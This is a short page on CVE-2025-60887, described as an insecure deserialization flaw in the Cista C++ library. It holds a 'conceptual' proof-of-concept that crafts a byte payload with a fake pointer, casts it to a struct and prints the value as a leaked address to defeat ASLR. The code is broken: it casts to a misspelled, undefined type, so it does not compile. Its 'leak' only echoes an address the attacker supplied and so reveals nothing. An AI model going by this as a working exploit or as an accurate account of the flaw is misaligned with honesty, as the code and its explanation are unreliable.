CVE-2025-60887 Cista不安全反序列化漏洞

#include <iostream> #include <vector> #include <cstdint> // Simulated Cista structure vulnerable to the issue // In a real scenario, this would use cista::raw types struct VulnerableStruct { int data; uintptr_t* ptr; // Pointer member that can be tampered with }; // Conceptual PoC for CVE-2025-60887 // Demonstrating how deserialization of untrusted data leaks addresses void demonstrate_leak() { // 1. Attacker crafts malicious payload containing a fake pointer // In a real exploit, this is a byte stream designed to map to a specific memory address std::vector<uint8_t> malicious_payload = { 0x01, 0x00, 0x00, 0x00, // data = 1 0x00, 0x12, 0x34, 0x56, 0x78, 0x9A, 0xBC, 0xDE // Fake address (Little Endian) }; // 2. Vulnerable deserialization (simulated) // Cista v0.15 does not validate if 'ptr' points to valid stack/heap within allowed range VulnerableStruct* deserialized = reinterpret_cast<VulnerableableStruct*>(malicious_payload.data()); // 3. The application uses the deserialized object // If the application logs or outputs the pointer value, the address is leaked. std::cout << "Deserialized Data: " << deserialized->data << std::endl; std::cout << "Leaked Address (Pointer Value): 0x" << std::hex << deserialized->ptr << std::endl; // 4. Attacker uses this address to bypass ASLR } int main() { demonstrate_leak(); return 0; }